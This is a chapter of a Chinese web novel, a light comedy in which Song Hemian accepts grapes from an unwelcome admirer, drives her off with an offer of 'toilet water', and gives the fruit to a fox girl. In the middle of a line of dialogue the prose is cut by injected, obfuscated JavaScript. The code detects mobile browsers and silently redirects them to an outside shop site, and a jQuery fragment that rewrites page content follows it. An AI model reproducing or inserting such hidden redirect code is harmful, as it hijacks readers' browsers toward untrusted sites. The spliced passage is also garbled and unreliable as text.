带着一箱新鲜的葡萄上门,门还门敲,手悬在半空,门就开了。映入眼帘的是宋鹤眠那张帅的无法自拔的脸。
“还有事?”
宋鹤眠语气已经有点不耐烦了。
这人一直敲敲敲敲敲,和索命鬼一样,烦得要死。
林安安抬起手里的礼盒,歪头温柔一笑,晃了晃:“先前那些礼物你都不喜欢,我干脆换了别的,这葡萄是进口葡萄,听说好吃的很,买来给你尝尝。”
什么进口不进口,不进腚就行。
等等……葡萄?
宋鹤眠眨巴眨巴眼,在思考什么,狐狸是不是爱吃葡萄?想到这儿拿出手机搜了搜,果不其然,狐狸爱吃葡萄。
点了点头,面无表情道:“我的确爱吃葡萄。”
林安安面色一喜,把礼盒往前递了递:“那、那你收下吧……”
初一听的一愣一愣的,随后明白他是在逗林安安玩。宋鹤眠从小就对葡萄过敏,这几年来更是连葡萄汁都没沾过,更别提喜欢吃葡萄了,简直是个巨大的谎言。
也不知道他撒谎为了什么,真是搞不懂。
林安安心里暗喜,太好了,终于买到一个他喜欢的了,只要有第一次,就会有第二次第三次,到时候他们就有情人终成眷属然后酿酿酱酱有个可爱的宝贝孩子了。
光是想想,就觉得幸福。
“我真能收?”
宋鹤眠表面客气的问了一嘴,手却毫不犹豫的把礼盒夺了过来。
管你给不给,到我面前就是我的了。
林安安装出一副“大小姐”做派,毫不在意的摆了摆手:“不过区区一个礼盒而已,我对好兄弟向来大方,等下次管家送来更好的,给你拿过来尝尝。”
宋鹤眠难得对她露出一抹淡笑:“那就先谢谢林小姐了。”
葡萄到手了,该撤了。
这是林安安头一回见他对自己笑,一时间有些失神,回过神来后面颊泛起一抹红,不自觉的害羞低下了头,磕磕巴巴道:“没、没事……应该的……”
他对我笑了,是不是也对我有意思?可他先前拒绝我表白那么多次,现在又对我笑,到底是什么意思啊,好难猜啊!有没有军师帮一帮我,跪求,多少钱都行呀!
初一没想到他真的收下了她的礼盒,平日里恨不得躲着她,今日这是太阳打西边出来了?
不对不对,好像也不是打西边出来了,应该是心里故意憋着坏呢。
“既然没事了,你就先走吧。”
说着,就要关上门赶客。
“哎哎哎,等等等等!”
林安安抬手拦住要关上的门,然后装出一副可怜兮兮地模样,轻声咳嗽。
“想来是刚才着凉了,有些感冒,可否让我进去喝点热水再走?”
小心翼翼观察着他的神色。
求求了,求求了,一定要同意啊!
听说男生都喜欢柔弱的女生,她都装成这样了总不能还赶她走吧?
玉江衫仔细听着,尾巴好奇的一直晃,这人比垃圾袋子还能装,装到家了呀,要是换做是别人早就破口大骂了,宋鹤眠竟然这么有耐心。
“哦,我家只有厕所水,你喝吗?”宋鹤眠平淡一说,仿佛再说今天的天气一样。
“啊?”
林安安眨巴眨巴眼,懵了。
以为她没听清,宋鹤眠又复述了一遍:“我家都喝厕所水,不喝纯净水和自来水,怎么,你也想喝?”不等她回答,转头吩咐初一说,“你去给她接一杯厕所水给她喝。”
什么厕所水,这不过都是为了赶她走的招数罢了,平常人在听到赶她走的时候早就灰溜溜的走了,也就她还装可怜留下要水喝。
原来坏心思都憋在这儿呢。初一了然,麻溜的接了杯厕所水递过去给她,抬了抬下巴好似是一种施舍:“喝吧。”
房间里的玉江衫听着,耳朵抖了抖,抱着自己毛茸茸的尾巴坐在地上,乖乖的听着,跟个布偶玩偶一样。
林安安僵在原地,看向宋鹤眠的眼神中满是“不可置信”,指了指面前的水:“真是给我的……?”
“除了你还有别人吗?”宋鹤眠答。
她咽了口唾沫,不拿也不是,拿也不是,干脆灵光一动:“对了,我想起来家里还有只狗没拉屎,我得去放狗了。”
说完,“咻”地一下就跑走了,连个人影都没留下。
放狗是假,逃跑是真,谁家好人喝厕所水!这肯定是背后有人指使,刚刚敲门的时候没看见那个可爱的女生在房间里,肯定是被宋鹤眠藏起来了,说不准今天喝厕所水的情节就是她策划的。
果然最毒妇人心,心机死了,不像她,单纯小白花一朵,人人可欺。
见她离开,宋鹤眠终得松了口气,关上门提着走去卧室。听见脚步声越来越近,怕被发现自己偷听,玉江衫一秒钻进了床底下,只留下毛茸茸的白尾巴在外面。
心里紧张的不行。
千万别发现我偷听,千万别发现我偷听……
推开门的瞬间,玉江衫的呼吸几乎停滞了,忐忑的等着宋鹤眠的话。
初一靠在门框上,朝他手里的葡萄抬了抬下巴:“收都收了,不洗洗吃了?我还挺期待‘大小姐’送的葡萄到底有多好吃。”
听到“葡萄”二字,玉江衫两眼放光,跟落了星星似的,亮的不行,但又不好表现得太过明显,只好假装不在意,继续躲在床底。
毕竟刚才已经吃了人家那么多饭了,再吃人家的葡萄好像有点不道德,她是只有底线的狐狐。
宋鹤眠淡淡瞥他一眼:“吃屁。”
初一“啊”地一声,闹头道:“屁怎么吃啊,我边刚你边用嘴接吗?这不好吧……怪臭的。”
“……”
宋鹤眠沉默了。
跟初一讲不明白,一个玉江衫,一个初一,外加一个另外厌恶至极的林安安,三个听不懂人话三人组。
晃了晃手里的礼盒,礼盒里面装着的葡萄发出轻微的声音,宋鹤眠盯着那团软乎乎的尾巴,恨不得想上去捏一把,强忍着这种感受,淡声道:“普通,是哪个小狐狸爱吃。”
“是我,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17838639|211559||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是我!”
听到话的瞬间,玉江衫也不装了,立马爬出来蹦蹦跳跳双手举手,眼巴巴地看着他。
初一:“???”
我去,这变脸的速度指定有点说法,跟我翻书一样,这大概就是人们常说的“变脸比翻书还快”吧。
嘿嘿vov
有葡萄,那还说啥,直接一辈子好吧!宋鹤眠一回头,我转身就穿上了喜服待嫁。
OM啦~
今天要结婚啦~
好像和你拥有一个家~
宋鹤眠淡淡一笑,粗暴的拆开华丽的外包装,然后走去厨房把葡萄洗干净放到盘子里,径直略过准备浅尝一口的初一,递到了玉江衫面前。
初一僵在原地:“???”
“你给我吃一口吗?”
“要吃自己洗。”
宋鹤眠一句话回怼了回去,初一感觉自己的心都碎了,再也拼不起来了。玉江衫没出息的时候,有什么好东西宋鹤眠都会让他先吃,玉江衫一出现,好东西都轮到玉江衫先吃了,视线直直的黏在她身上,果然自古无情帝王家,这才没多少年自己就失宠了,下一步就是搬去冷宫住,然后彻底被遗忘。
真是重色轻友的家伙,过分死了……
话虽如此,但只要宋鹤眠幸福,就算重色轻友又有什么关系。
“我吃啦?”
玉江衫小心翼翼的观察着他的脸色问。
得到宋鹤眠的首肯,也不再犹豫,吧唧吧唧就吃了起来,一脸满足,心里别提有多高兴。
(嚼嚼嚼。)“你说——”(嚼嚼嚼。)“是谁发明的葡萄这个东西。”(嚼嚼嚼。)“怎么这么——”(嚼嚼嚼。)“好吃呢。”
“好吃就多吃点。”
宋鹤眠淡淡一笑。
见她吃的香,初一也有些嘴馋,走到她面前卑微的伸出手:“给我一颗尝尝味呗。”
一颗就好,一颗就好,看你吃的这么香,我肚子都饿扁了,饭还被你吃了个干净,我真的是要快被饿死了。
玉江衫乖乖点头,扒拉了扒拉,选了盘子里最小的一个,也是最不起眼的一个递了过去,还没有小拇指头指甲盖大。
初一捧着这颗葡萄沉默了。
不是,哪有这么小气的,不给吃就不给吃,拿这么造一个打发要饭的呢?!
宋鹤眠嘴角微微上翘:“吃吧,她好心给你的。”
明明是厌烦她的不是吗?可不知道为什么,就是忍不住关心,难不成是因为上一世的缘故?宋鹤眠正这样想着,转头手机“叮——”地一声,是消息提示音,点开一看,是程萌发来的消息。
程萌与宋鹤眠还有初一同是一起长大的发小,同上一所高中和大学,毕业后就继承家业去了,是个又酷又飒的女孩,近几年来很少联系,发消息来必有事儿。
点开消息一看,就看到了令人疑惑的信息。消息内容是——
[程萌]:你跟林安安在一块了?我记得你不是讨厌她来着。
宋鹤眠懵了一瞬,一脸疑惑地回了句“当事人并不知情。”